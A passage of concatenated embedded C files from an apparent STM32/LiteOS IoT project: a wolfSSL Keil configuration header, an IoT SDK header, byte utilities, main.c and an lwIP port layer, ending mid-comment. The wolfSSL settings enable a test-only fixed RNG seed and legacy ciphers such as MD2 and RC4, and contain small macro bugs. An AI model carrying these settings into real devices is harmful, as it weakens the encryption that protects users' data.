#define WOLFSSL_LWIP
#define WOLFSSL_DTLS
#define HAVE_SOCKADDR
#define NO_WOLFSSL_SERVER
// <<< Use Configuration Wizard in Context Menu >>>
// <h>Common options
// <o> MPU<0=>Undefined<1=>STM32F2xx<2=>STM32F4xx<3=>STM32F7xx
#define MDK_CONF_MPU 0
#if MDK_CONF_MPU == 0
#elif MDK_CONF_MPU == 1
//#define WOLFSSL_STM32_CUBEMX
#define STM32F2xx
#elif MDK_CONF_MPU == 2
//#define WOLFSSL_STM32_CUBEMX
#define STM32F4xx
#elif MDK_CONF_MPU == 3
//#define WOLFSSL_STM32_CUBEMX
#define STM32F7xx
#endif
// <o> Thread/RTOS<0=>Single Threaded <1=>FreeRTOS <2=>SafeRTOS<3=>Windows
// <4=>PThread <5=>ThreadX<6=> ThreadX/NetX
// <7=>Micrium <8=>EBSnet<9=>MQX
// <10=>T-RTOS <11=>uITRON4<12=>uTKERNEL2
// <13=>Frosted <14=>CMSIS RTOS<15=>Others
#define MDK_CONF_THREAD 16
#if MDK_CONF_THREAD== 0
#define SINGLE_THREADED
#elif MDK_CONF_THREAD == 1
#define FREERTOS
#elif MDK_CONF_THREAD == 3
#define WOLFSSL_SAFERTOS
#elif MDK_CONF_THREAD == 4
#define USE_WINDOWS_API
#elif MDK_CONF_THREAD == 5
#define WOLFSSL_PTHREADS
#elif MDK_CONF_THREAD == 6
#define THREADX
#define NETX
#elif MDK_CONF_THREAD == 7
#define MICRIUM
#elif MDK_CONF_THREAD == 8
#define EBSNET
#elif MDK_CONF_THREAD == 9
#define FREESCALE_MQX
#define FREESCALE_KSDK_MQX
#elif MDK_CONF_THREAD == 10
#define WOLFSSL_TIRTOS
#elif MDK_CONF_THREAD == 11
#define WOLFSSL_uITRON4
#elif MDK_CONF_THREAD == 12
#define WOLFSSL_uTKERNEL2
#elif MDK_CONF_THREAD == 13
#define WOLFSSL_FROSTED
#elif MDK_CONF_THREAD == 14
#define WOLFSSL_CMSIS_RTOS
#elif MDK_CONF_THREAD == 15
#define SINGLE_THREADED
#elif MDK_CONF_THREAD == 16
#define WOLFSSL_LITEOS
#endif
// <e>File System
#define MDK_CONF_FILESYSTEM 1
#if MDK_CONF_FILESYSTEM == 0
#define NO_FILESYSTEM
#else
#define WOLFSSL_KEIL_FS
#define NO_WOLFSSL_DIR
#endif
// </e>
// <o> Network<0=>None <1=>RLnet <2=>User I/O
#define MDK_CONF_NETWORK 0
#if MDK_CONF_NETWORK == 0
#elif MDK_CONF_NETWORK == 1
#define WOLFSSL_KEIL_TCP_NET
#elif MDK_CONF_NETWORK == 2
#define WOLFSSL_USER_IO
#endif
// <h>Debug options
// <e>Debug Message
#define MDK_CONF_DebugMessage 0
#if MDK_CONF_DebugMessage == 1
#define DEBUG_WOLFSSL
#endif
// </e>
// <e>Check malloc
#define MDK_CONF_CheckMalloc 1
#if MDK_CONF_CheckMalloc == 1
#define WOLFSSL_MALLOC_CHECK
#define USE_WOLFSSL_MEMORY
#endif
// </e>
// <e>ErrNo.h
#define MDK_CONF_ErrNo 1
#if MDK_CONF_ErrNo == 1
#define HAVE_ERRNO
#endif
// </e>
// <e>Error Strings
#define MDK_CONF_ErrorStrings 1
#if MDK_CONF_ErrorStrings == 0
#define NO_ERROR_STRINGS
#endif
// </e>
//</h>
//</h>
// <h> wolfCrypt Configuration
// <h>Hash/Crypt Algrithm
// <e>MD2
#define MDK_CONF_MD2 1
#if MDK_CONF_MD2 == 1
#define WOLFSSL_MD2
#endif
// </e>
// <e>MD4
#define MDK_CONF_MD4 1
#if MDK_CONF_MD4 == 0
#define NO_MD4
#endif
// </e>
// <e>MD5
#define MDK_CONF_MD5 1
#if MDK_CONF_MD5 == 0
#define NO_MD5
#endif
// </e>
// <e>SHA
#define MDK_CONF_SHA 1
#if MDK_CONF_SHA == 0
#define NO_SHA
#endif
// </e>
// <e>SHA-256
#define MDK_CONF_SHA256 1
#if MDK_CONF_SHA256 == 0
#define NO_SHA256
#endif
// </e>
// <e>SHA-384
#define MDK_CONF_SHA384 1
#if MDK_CONF_SHA384 == 1
#define WOLFSSL_SHA384
#endif
// </e>
// <e>SHA-512
#define MDK_CONF_SHA512 1
#if MDK_CONF_SHA512 == 1
#define WOLFSSL_SHA512
#endif
// </e>
// <e>Hash DRBG
#define MDK_CONF_HASHDRBG 1
#if MDK_CONF_HASHDRBG == 1
#define HAVE_HASHDRBG
#endif
// </e>
// <e>RIPEMD
#define MDK_CONF_RIPEMD 1
#if MDK_CONF_RIPEMD == 1
#define WOLFSSL_RIPEMD
#endif
// </e>
// <e>BLAKE2
#define MDK_CONF_BLAKE2 0
#if MDK_CONF_BLAKE2 == 1
#define HAVE_BLAKE2
#endif
// </e>
// <e>HMAC
#define MDK_CONF_HMAC 1
#if MDK_CONF_HMAC == 0
#define NO_HMAC
#endif
// </e>
// <e>HMAC KDF
#define MDK_CONF_HKDF 1
#if MDK_CONF_HKDF == 1
#define HAVE_HKDF
#endif
// </e>
// <e>AES CCM
#define MDK_CONF_AESCCM 1
#if MDK_CONF_AESCCM == 1
#define HAVE_AESCCM
#endif
// </e>
// <e>AES GCM
#define MDK_CONF_AESGCM 1
#if MDK_CONF_AESGCM == 1
#define HAVE_AESGCM
#endif
// </e>
// <e>RC4
#define MDK_CONF_RC4 1
#if MDK_CONF_RC4 == 0
#define NO_RC4
#endif
// </e>
// <e>HC128
#define MDK_CONF_HC128 1
#if MDK_CONF_AESGCM == 0
#define NO_HC128
#endif
// </e>
// <e>RABBIT
#define MDK_CONF_RABBIT 1
#if MDK_CONF_RABBIT == 0
#define NO_RABBIT
#endif
// </e>
// <e>CHACHA
#define MDK_CONF_CHACHA 1
#if MDK_CONF_CHACHA == 1
#define HAVE_CHACHA
#endif
// </e>
// <e>POLY1305
#define MDK_CONF_POLY1305 1
#if MDK_CONF_POLY1305 == 1
#define HAVE_POLY1305
#define HAVE_ONE_TIME_AUTH
#endif
// </e>
// <e>DES3
#define MDK_CONF_DES3 1
#if MDK_CONF_DES3 == 0
#define NO_DES3
#endif
// </e>
// <e>AES
#define MDK_CONF_AES 1
#if MDK_CONF_AES == 0
#define NO_AES
#endif
// </e>
// <e>CAMELLIA
#define MDK_CONF_CAMELLIA 1
#if MDK_CONF_CAMELLIA == 1
#define HAVE_CAMELLIA
#endif
// </e>
// <e>DH
#define MDK_CONF_DH 1
#if MDK_CONF_DH == 0
#define NO_DH
#endif
// </e>
// <e>DSA
#define MDK_CONF_DSA 1
#if MDK_CONF_DSA == 0
#define NO_DSA
#endif
// </e>
// <e>SRP
#define MDK_CONF_SRP 1
#if MDK_CONF_SRP == 1
#define HAVE_SRP
#endif
// </e>
// <e>PWDBASED
#define MDK_CONF_PWDBASED 1
#if MDK_CONF_PWDBASED == 0
#define NO_PWDBASED
#endif
// </e>
// <e>ECC
#define MDK_CONF_ECC 1
#if MDK_CONF_ECC == 1
#define HAVE_ECC
#endif
// </e>
// <e>CURVE25519
#define MDK_CONF_CURVE25519 1
#if MDK_CONF_CURVE25519 == 1
#define HAVE_CURVE25519
#define CURVED25519_SMALL
#endif
// </e>
// <e>CURVE25519 SMALL
#define MDK_CONF_CURVE25519_SMALL 0
#if MDK_CONF_CURVE25519_SMALL == 1
#define CURVED25519_SMALL
#endif
// </e>
// <e>ED25519
#define MDK_CONF_ED25519 1
#if MDK_CONF_ED25519 == 1
#define HAVE_ED25519
#endif
// </e>
// <e>ED25519 SMALL
#define MDK_CONF_ED25519_SMALL 0
#if MDK_CONF_ED25519_SMALL == 1
#define ED25519_SMALL
#endif
// </e>
// <e>PKCS7
#define MDK_CONF_PKCS7 0
#if MDK_CONF_PKCS7 == 1
#define HAVE_PKCS7
#endif
// </e>
// <e>NTRU (need License, "crypto_ntru.h")
#define MDK_CONF_NTRU 0
#if MDK_CONF_NTRU == 1
#define HAVE_NTRU
#endif
// </e>
// </h>
// <e>Random Seed, for TEST Only
#define MDK_CONF_RNDSEED 1
#if MDK_CONF_RNDSEED == 1
#define WOLFSSL_GENSEED_FORTEST
#endif
// </e>
// <h>Hardware Crypt (See document for usage)
// <e>Hardware RNG
#define MDK_CONF_STM32F2_RNG 1
#if MDK_CONF_STM32F2_RNG == 1
#define WOLFSSL_STM32_CUBEMX
#define STM32_RNG
#define WC_ASYNC_DEV_SIZE 320+24
#define STM32_HAL_TIMEOUT 0xFF
#if defined(STM32F2xx)
#define WOLFSSL_STM32F2
#elif defined(STM32F4xx)
#define WOLFSSL_STM32F4
#elif defined(STM32F7xx)
#define WOLFSSL_STM32F7
#endif
#endif
// </e>
// <e>Hardware Crypt
#define MDK_CONF_STM32F2_CRYPTO 0
#if MDK_CONF_STM32F2_CRYPTO == 1
//#define WOLFSSL_STM32_CUBEMX
#define STM32_CRYPTO
#define WC_ASYNC_DEV_SIZE 320+24
#define STM32_HAL_TIMEOUT 0xFF
#if defined(STM32F2xx)
#define WOLFSSL_STM32F2
#elif defined(STM32F4xx)
#define WOLFSSL_STM32F4
#elif defined(STM32F7xx)
#define WOLFSSL_STM32F7
#endif
#endif
// </e>
// <e>Hardware Hash
#define MDK_CONF_STM32F2_HASH 0
#if MDK_CONF_STM32F2_HASH == 1
//#define WOLFSSL_STM32_CUBEMX
#define STM32_HASH
#define WC_ASYNC_DEV_SIZE 320+24
#define STM32_HAL_TIMEOUT 0xFF
#if defined(STM32F2xx)
#define WOLFSSL_STM32F2
#elif defined(STM32F4xx)
#define WOLFSSL_STM32F4
#elif defined(STM32F7xx)
#define WOLFSSL_STM32F7
#endif
#endif
// </e>
// </h>
// <h>Cert/Key Strage
// <o>Cert Storage <0=> SD Card <1=> Mem Buff (1024bytes) <2=> Mem Buff (2048bytes)
#define MDK_CONF_CERT_BUFF 0
#if MDK_CONF_CERT_BUFF== 1
#define USE_CERT_BUFFERS_1024
#elif MDK_CONF_CERT_BUFF == 2
#define USE_CERT_BUFFERS_2048
#endif
//</h>
// <h>Cert/Key Generation
// <e>CertGen
#define MDK_CONF_CERT_GEN 0
#if MDK_CONF_CERT_GEN == 1
#define WOLFSSL_CERT_GEN
#endif
// </e>
// <e>KeyGen
#define MDK_CONF_KEY_GEN 0
#if MDK_CONF_KEY_GEN == 1
#define WOLFSSL_KEY_GEN
#endif
// </e>
// </h>
// <e>Use Fast Math
#define MDK_CONF_FASTMATH 1
#if MDK_CONF_FASTMATH == 1
#define USE_FAST_MATH
#define TFM_TIMING_RESISTANT
#endif
// </e>
// <e>Small Stack
#define MDK_CONF_SmallStack 0
#if MDK_CONF_SmallStack == 0
#define NO_WOLFSSL_SMALL_STACK
#endif
// </e>
// </h>
/**** wolfSSL Configuration ****/
// <h> wolfSSL Configuration
// <e>TLS 1.3
#define MDK_CONF_TLS 0
#if MDK_CONF_TLS == 1
#define WOLFSSL_TLS13WOLFSSL_TLS13
#define HAVE_TLS_EXTENSIONS
#define WC_RSA_PSS
#define HAVE_HKDF
#define HAVE_FFDHE_2048
#endif
// </e>
// <e>Include Old TLS
#define MDK_CONF_NO_OLDTLS 0
#if MDK_CONF_NO_OLDTLS == 0
#define NO_OLD_TLS
#endif
// </e>
// <e>CRL
#define MDK_CONF_CRL 0
#if MDK_CONF_CRL == 1
#define HAVE_CRL
#define WOLFSSL_DER_LOAD
#endif
// </e>
// <e>OCSP
#define MDK_CONF_OCSP 0
#if MDK_CONF_OCSP == 1
#define HAVE_OCSP
#endif
// </e>
// <e>OpenSSL Extra
#define MDK_CONF_OPENSSL_EXTRA 0
#if MDK_CONF_OPENSSL_EXTRA == 1
#define OPENSSL_EXTRA
#endif
// </e>
//</h>
```
iot_export.h
```/*
* Copyright (c) 2014-2016 Alibaba Group. All rights reserved.
* License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#ifndef __IOT_EXPORT_H__
#define __IOT_EXPORT_H__
#if defined(__cplusplus)
extern "C" {
#endif
#include <stdbool.h>
typedef enum _IOT_LogLevel {
IOT_LOG_EMERG = 0,
IOT_LOG_CRIT,
IOT_LOG_ERROR,
IOT_LOG_WARNING,
IOT_LOG_INFO,
IOT_LOG_DEBUG,
} IOT_LogLevel;
void IOT_OpenLog(const char *ident);
void IOT_CloseLog(void);
void IOT_SetLogLevel(IOT_LogLevel level);
void IOT_DumpMemoryStats(IOT_LogLevel level);
int IOT_SetupConnInfo(const char *product_key,
const char *device_name,
const char *device_secret,
void **info_ptr);
#include "iot_export_errno.h"
#include "iot_export_mqtt.h"
#include "iot_export_device.h"
//#include "iot_export_shadow.h"
//#include "iot_export_coap.h"
//#include "iot_export_ota.h"
//#define ESP_LOGI(tag,log) os_printf(log)
//#define ESP_LOGE(tag,log) os_printf(log)
//#ifndef ESP_LOGI(tag, format, ...)
#define ESP_LOGI(tag, format, ...) printf(format, ##__VA_ARGS__)
//#endif
#define ESP_LOGE(tag, format, ...) printf(format, ##__VA_ARGS__)
/* // ็ผ่ฏ ๅ ่ฐ่ฏๆญฃ็กฎไนๅ, ๅฏไปฅๅ ้คไธ้ขๆณจ้็ไปฃ็
#define ESP_LOGI(tag,log, ...) \
do { \
printf("[LOGI] %s(%d): "log"\r\n", __FUNCTION__, __LINE__, ##__VA_ARGS__);\
;\
}while(0);
#define ESP_LOGE(tag,log, ...) \
do { \
printf("[LOGE] %s(%d): "log"\r\n", __FUNCTION__, __LINE__, ##__VA_ARGS__);\
;\
}while(0);
*/
#if defined(__cplusplus)
}
#endif
#endif /* __IOT_EXPORT_H__ */```
CommMath.c
```#define _COMMMATH_C_
#include "CommMath.h"
/*ๆจกๅ็ปๆไฝๅๅงๅ*/
void CommMath_struct_init(void)
{
}
/*ๆจกๅๅๅงๅ*/
void CommMath_init(void)
{
CommMath_struct_init();
}
void MemCopy(BYTE *des,BYTE *src,int len)
{
int i;
for(i = 0;i < len;i ++)
{
des[i] = src[i];
}
}
WORD CombineWord(BYTE *buf,int *index)
{
WORD wData = 0;
wData |= (((WORD)buf[1]<<8) & 0xff00);
wData |= (((WORD)buf[0]<<0) & 0x00ff);
*index += 2;
return wData;
}
DWORD CombineDword(BYTE *buf,int *index)
{
DWORD dwData = 0;
dwData |= (((DWORD)buf[3]<<24) & 0xff000000);
dwData |= (((DWORD)buf[2]<<16) & 0x00ff0000);
dwData |= (((DWORD)buf[1]<<8) & 0x0000ff00);
dwData |= (((DWORD)buf[0]<<0) & 0x000000ff);
*index += 4;
return dwData;
}
void LoadWord(WORD wData,BYTE *buf,int *index)
{
buf[0] = (BYTE)(wData & 0xff);
buf[1] = (BYTE)(wData>>8) & 0xFF;
*index += 2;
}
void LoadDword(DWORD dwData,BYTE *buf,int *index)
{
buf[0] = (BYTE)(dwData>>0) & 0xff;
buf[1] = (BYTE)(dwData>>8) & 0xff;
buf[2] = (BYTE)(dwData>>16) & 0xff;
buf[3] = (BYTE)(dwData>>24) & 0xff;
*index += 4;
}
```
main.c
```/* Includes LiteOS------------------------------------------------------------------*/
#include "stdlib.h"
#include "string.h"
#include "los_base.h"
#include "los_config.h"
#include "los_typedef.h"
#include "los_hwi.h"
#include "los_task.ph"
#include "los_sem.h"
#include "los_event.h"
#include "los_memory.h"
#include "los_queue.ph"
#include "cmsis_os.h"
#include <stdio.h>
#include "stm32f4xx.h"
#include "stm32f4xx_conf.h"
#include "bsp_led.h"
#include "bsp_debug_usart.h"
#include "dwt.h"
#include "bsp_key.h"
#include "lwip/tcp.h"
#include "netconf.h"
#include "tcp_echoclient.h"
#include "stm32f429_phy.h"
#include "intelligent_fire_baiducloud.h"
/* Private typedef -----------------------------------------------------------*/
/* Private define ------------------------------------------------------------*/
/* Private macro -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
KEY Key1,Key2;
__IO uint32_t LocalTime = 0; /* this variable is used to create a time reference incremented by 10ms */
/* Private function prototypes -----------------------------------------------*/
static void TIM3_Config(uint16_t period,uint16_t prescaler);
/* Private functions ---------------------------------------------------------*/
void TIM3_IRQHandler(void);
void hardware_init(void)
{
LED_GPIO_Config();
Key1_GPIO_Config();
Key2_GPIO_Config();
KeyCreate(&Key1,GetPinStateOfKey1);
KeyCreate(&Key2,GetPinStateOfKey2);
Debug_USART_Config();
DelayInit(SystemCoreClock);
LOS_HwiCreate(TIM3_IRQn, 0,0,TIM3_IRQHandler,NULL);
TIM3_Config(999,899);//10ms
PRINTF_DBG("Sysclock is %d\r\n",SystemCoreClock);
}
static void TIM3_Config(uint16_t period,uint16_t prescaler)
{
TIM_TimeBaseInitTypeDef TIM_TimeBaseInitStructure;
NVIC_InitTypeDef NVIC_InitStructure;
RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM3,ENABLE);
TIM_TimeBaseInitStructure.TIM_Prescaler=prescaler;
TIM_TimeBaseInitStructure.TIM_CounterMode=TIM_CounterMode_Up;
TIM_TimeBaseInitStructure.TIM_Period=period;
TIM_TimeBaseInitStructure.TIM_ClockDivision=TIM_CKD_DIV1;
TIM_TimeBaseInit(TIM3,&TIM_TimeBaseInitStructure);
TIM_ITConfig(TIM3,TIM_IT_Update,ENABLE);
TIM_Cmd(TIM3,ENABLE);
NVIC_InitStructure.NVIC_IRQChannel=TIM3_IRQn;
NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority=0x01;
NVIC_InitStructure.NVIC_IRQChannelSubPriority=0x03;
NVIC_InitStructure.NVIC_IRQChannelCmd=ENABLE;
NVIC_Init(&NVIC_InitStructure);
}
void TIM3_IRQHandler(void)
{
if(TIM_GetITStatus(TIM3,TIM_IT_Update)==SET)
{
LocalTime+=10;
}
TIM_ClearITPendingBit(TIM3,TIM_IT_Update);
}
int main(void)
{
UINT32 uwRet = LOS_OK;
LOS_KernelInit();//ๅ
ๆ ธๅๅงๅ
hardware_init();//็กฌไปถๅๅงๅ
uwRet = creat_lwip_poll_task();
if(uwRet != LOS_OK)
{
return uwRet;
}
uwRet = creat_key_task();
if(uwRet != LOS_OK)
{
return uwRet;
}
LOS_Start();//ๅฏๅจLiteOS
}
```
data_collect.h
```#ifndef _DATA_COLLECT_H_
#define _DATA_COLLECT_H_
#include "stm32f4xx.h"
#define MAX_BUF_SIZE 2048
extern u8 CollectDataBuf[MAX_BUF_SIZE];
extern u8 CollectDataLen;
extern u8 CollectDataSendFlag;
u8 getTempHttpData(void);
u8 getLightData(void);
#endif
```
sys_arch.c
```/*
* Copyright (c) 2001-2003 Swedish Institute of Computer Science.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
* SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
* OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
* IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
* OF SUCH DAMAGE.
*
* This file is part of the lwIP TCP/IP stack.
*
* Author: xiaxiaowen https://github.com/xiaowenxia
*
*/
#include <stdlib.h>
#include <stdio.h>
#include <lwip/opt.h>
#include <lwip/arch.h>
#include <lwip/stats.h>
#include <lwip/debug.h>
#include <lwip/sys.h>
#include <arch/sys_arch.h>
/* These functions are used for LiteOS only */
/*---------------------------------------------------------------------------*
* Routine: sys_init
*---------------------------------------------------------------------------*
* Description:
* doing lwip sys init,for LiteOS,nothing need to init
* Inputs:
* Outputs:
*---------------------------------------------------------------------------*/
void sys_init(void)
{
/* do nothing */
}
/*---------------------------------------------------------------------------*
* Routine: sys_now
*---------------------------------------------------------------------------*
* Description:
* return the systick counter
* Inputs:
* Outputs:
* u32_t -- systick count
*---------------------------------------------------------------------------*/
u32_t sys_now(void)
{
return (u32_t)LOS_TickCountGet();
}
#if !NO_SYS
/*---------------------------------------------------------------------------*
* Routine: sys_sem_new
*---------------------------------------------------------------------------*
* Description:
* Creates and returns a new semaphore. The "count" argument specifies
* the initial state of the semaphore.
* NOTE: Currently this routine only creates counts of 1 or 0
* Inputs:
* sys_sem_t *sem -- Handle of semaphore
* u8_t count -- Initial count of semaphore (1 or 0)
* Outputs:
* err_t -- ERR_MEM: create semaphore failed
ERR_OK: create semaphore success
*---------------------------------------------------------------------------*/
err_t sys_sem_new(sys_sem_t *sem, u8_t count)
{
err_t ret = ERR_MEM;
/* create mutex */
if(LOS_MuxCreate(sem) != LOS_OK)
{
ret = ERR_MEM;
//SYS_STATS_INC(sem.err);
}
else
{
ret = ERR_OK;
//SYS_STATS_INC_USED(sem);
}
if(count == 0UL)
{
/* get the mutex */
if(LOS_MuxPend(*sem, LOS_WAIT_FOREVER) != LOS_OK)
{
ret = ERR_MEM;
//SYS_STATS_INC(sem.err);
}
else
{
ret = ERR_OK;
}
}
return ret;
}
/*---------------------------------------------------------------------------*
* Routine: sys_sem_free
*---------------------------------------------------------------------------*
* Description:
* Deallocates a semaphore
* Inputs:
* sys_sem_t *sem -- Semaphore to free
*---------------------------------------------------------------------------*/
void sys_sem_free(sys_sem_t *sem)
{
/* parameter check */
LWIP_ASSERT("sem != NULL", sem != NULL);
// SYS_STATS_DEC(sem.used);
LOS_MuxDelete(*sem);
}
/*---------------------------------------------------------------------------*
* Routine: sys_sem_signal
*---------------------------------------------------------------------------*
* Description:
* Signals (releases) a semaphore
* Inputs:
* sys_sem_t sem -- Semaphore to signal
*---------------------------------------------------------------------------*/
void sys_sem_signal(sys_sem_t *sem)
{
/* parameter check */
LWIP_ASSERT("sem != NULL", sem != NULL);
LOS_MuxPost(*sem);
}
/*---------------------------------------------------------------------------*
* Routine: sys_arch_sem_wait
*---------------------------------------------------------------------------*
* Description:
* Blocks the thread while waiting for the semaphore to be
* signaled. If the "timeout" argument is non-zero, the thread should
* only be blocked for the specified time (measured in
* milliseconds).
*
* If the timeout argument is non-zero, the return value is the number of
* milliseconds spent waiting for the semaphore to be signaled. If the
* semaphore wasn't signaled within the specified time, the return value is
* SYS_ARCH_TIMEOUT. If the thread didn't have to wait for the semaphore
* (i.e., it was already signaled), the function may return zero.
*
* Notice that lwIP implements a function with a similar name,
* sys_sem_wait(), that uses the sys_arch_sem_wait() function.
* Inputs:
* sys_sem_t sem -- Semaphore to wait on
* u32_t timeout -- Number of milliseconds until timeout
* Outputs:
* u32_t -- Time elapsed or SYS_ARCH_TIMEOUT.
*---------------------------------------------------------------------------*/
u32_t sys_arch_sem_wait(sys_sem_t *sem, u32_t timeout)
{
u32_t ret;
UINT64 time_start, time_end, time_diff;
/* parameter check */
LWIP_ASSERT("sem != NULL", sem != NULL);
time_start = LOS_TickCountGet();
if( timeout != 0UL )
{
if(LOS_MuxPend(*sem, timeout) == LOS_OK)
{
time_end = LOS_TickCountGet();
time_diff = time_end - time_start;
ret = time_diff;
}
else
{
ret = SYS_ARCH_TIMEOUT;
}
}
else
{
LOS_MuxPend(*sem, LOS_WAIT_FOREVER);
time_end = LOS_TickCountGet();
time_diff = time_end - time_start;
ret = time_diff;
}
return ret;
}
/*---------------------------------------------------------------------------*
* Routine: sys_mutex_new
*---------------------------------------------------------------------------*
* Description:
* Creates and returns a new mutex.
* just call sys_mutex_new()
* Inputs:
* sys_mutex_t *mutex -- Handle of mutex=
* Outputs:
* err_t -- ERR_MEM: create mutex failed
ERR_OK: create mutex success
*---------------------------------------------------------------------------*/
err_t sys_mutex_new(sys_mutex_t *mutex)
{
return sys_sem_new((sys_sem_t *)mutex, 1);
}
/*---------------------------------------------------------------------------*
* Routine: sys_mutex_free
*---------------------------------------------------------------------------*
* Description:
* Deallocates a mutex
* just call sys_sem_free()
* Inputs:
* sys_mutex_t *mutex -- mutex to free
*---------------------------------------------------------------------------*/
void sys_mutex_free(sys_mutex_t *mutex)
{
sys_sem_free((sys_sem_t *)mutex);
}
/*---------------------------------------------------------------------------*
* Routine: sys_mutex_lock
*---------------------------------------------------------------------------*
* Description:
* wait a mutex
* just call sys_arch_sem_wait()
* Inputs:
* sys_mutex_t mutex -- mutex to lock
*---------------------------------------------------------------------------*/
void sys_mutex_lock(sys_mutex_t *mutex)
{
sys_arch_sem_wait((sys_sem_t *)mutex, 0);
}
/*---------------------------------------------------------------------------*
* Routine: sys_mutex_unlock
*---------------------------------------------------------------------------*
* Description:
* unlock (releases) a mutex
* just call sys_sem_signal()
* Inputs:
* sys_mutex_t mutex -- mutex to unlock
*---------------------------------------------------------------------------*/
void sys_mutex_unlock(sys_mutex_t *mutex)
{
sys_sem_signal((sys_sem_t *)mutex);
}
/*---------------------------------------------------------------------------*
* Routine: sys_mbox_new
*---------------------------------------------------------------------------*
* Description:
* Creates a new mailbox
* Inputs:
sys_mbox_t q -- mailbox to create
* int size -- Size of elements in the mailbox
* Outputs:
* err_t -- ERR_MEM: create mailbox failed
ERR_OK: create mailbox success
*---------------------------------------------------------------------------*/
err_t sys_mbox_new( sys_mbox_t *q, int size )
{
err_t ret = ERR_MEM;
/* parameter check */
LWIP_ASSERT("q != NULL", q != NULL);
LWIP_ASSERT("size != NULL", size != NULL);
if(LOS_QueueCreate("", size, q, 0, sizeof(void *)) == LOS_OK)
{
ret = ERR_OK;
//SYS_STATS_INC_USED(mbox);
}
return ret;
}
/*---------------------------------------------------------------------------*
* Routine: sys_mbox_free
*---------------------------------------------------------------------------*
* Description:
* Deallocates a mailbox. If there are messages still present in the
* mailbox when the mailbox is deallocated, it is an indication of a
* programming error in lwIP and the developer should be notified.
* Inputs:
* sys_mbox_t mbox -- Handle of mailbox
* Outputs:
* sys_mbox_t -- Handle to new mailbox
*---------------------------------------------------------------------------*/
void sys_mbox_free( sys_mbox_t *q )
{
/* parameter check */
LWIP_ASSERT("q != NULL", q != NULL);
LOS_QueueDelete(*q);
// while (LOS_QueueDelete(*q) != LOS_OK)
// {
// LOS_TaskDelay(1);
// }
}
/*---------------------------------------------------------------------------*
* Routine: sys_mbox_post
*---------------------------------------------------------------------------*
* Description:
* Post the "msg" to the mailbox.
* Inputs:
* sys_mbox_t mbox -- Handle of mailbox
* void *data -- Pointer to data to post
*---------------------------------------------------------------------------*/
void sys_mbox_post(sys_mbox_t *q, void *data)
{
/* parameter check */
LWIP_ASSERT("q != NULL", q != NULL);
LOS_QueueWrite(*q, data, sizeof(void *), LOS_WAIT_FOREVER);
}
/*---------------------------------------------------------------------------*
* Routine: sys_mbox_trypost
*---------------------------------------------------------------------------*
* Description:
* Try to post the "msg" to the mailbox. Returns immediately with
* error if cannot.
* Inputs:
* sys_mbox_t mbox -- Handle of mailbox
* void *msg -- Pointer to data to post
* Outputs:
* err_t -- ERR_OK if message posted, else ERR_MEM
* if not.
*---------------------------------------------------------------------------*/
err_t sys_mbox_trypost(sys_mbox_t *q, void *data)
{
err_t ret = ERR_OK;
/* parameter check */
LWIP_ASSERT("q != NULL", q != NULL);
if(LOS_QueueWrite(*q, data, sizeof(void *), LOS_NO_WAIT) != LOS_OK)
{
/* The queue was already full. */
ret = ERR_MEM;
SYS_STATS_INC( mbox.err );
}
return ret;
}
/*---------------------------------------------------------------------------*
* Routine: sys_arch_mbox_fetch
*---------------------------------------------------------------------------*
* Description:
* Blocks the thread until a message arrives in the mailbox, but does
* not block the thread longer than "timeout" milliseconds (similar to
* the sys_arch_sem_wait() function). The "msg" argument is a result
* parameter that is set by the function (i.e., by doing "*msg =
* ptr"). The "msg" parameter maybe NULL to indicate that the message
* should be dropped.
*
* The return values are the same as for the sys_arch_sem_wait() function:
* Number of milliseconds spent waiting or SYS_ARCH_TIMEOUT if there was a
* timeout.
*
* Note that a function with a similar name, sys_mbox_fetch(), is
* implemented by lwIP.
* Inputs:
* sys_mbox_t mbox -- Handle of mailbox
* void **msg -- Pointer to pointer to msg received
* u32_t timeout -- Number of milliseconds until timeout
* Outputs:
* u32_t -- SYS_ARCH_TIMEOUT if timeout, else number
* of milliseconds until received.
*---------------------------------------------------------------------------*/
u32_t sys_arch_mbox_fetch( sys_mbox_t *q, void **data, u32_t timeout )
{
u32_t ret;
UINT64 time_start, time_end, time_diff;
/* parameter check */
LWIP_ASSERT("q != NULL", q != NULL);
time_start = LOS_TickCountGet();
if(timeout != 0UL)
{
if(LOS_QueueRead(*q, data, sizeof(void *), timeout) == LOS_OK)
{
time_end = LOS_TickCountGet();
time_diff = time_end - time_start;
ret = time_diff;
}
else
{
ret = SYS_ARCH_TIMEOUT;
}
}
else
{
LOS_QueueRead(*q, data, sizeof(void *), LOS_WAIT_FOREVER);
time_end = LOS_TickCountGet();
time_diff = time_end - time_start;
ret = time_diff;
}
return ret;
}
/*---------------------------------------------------------------------------*
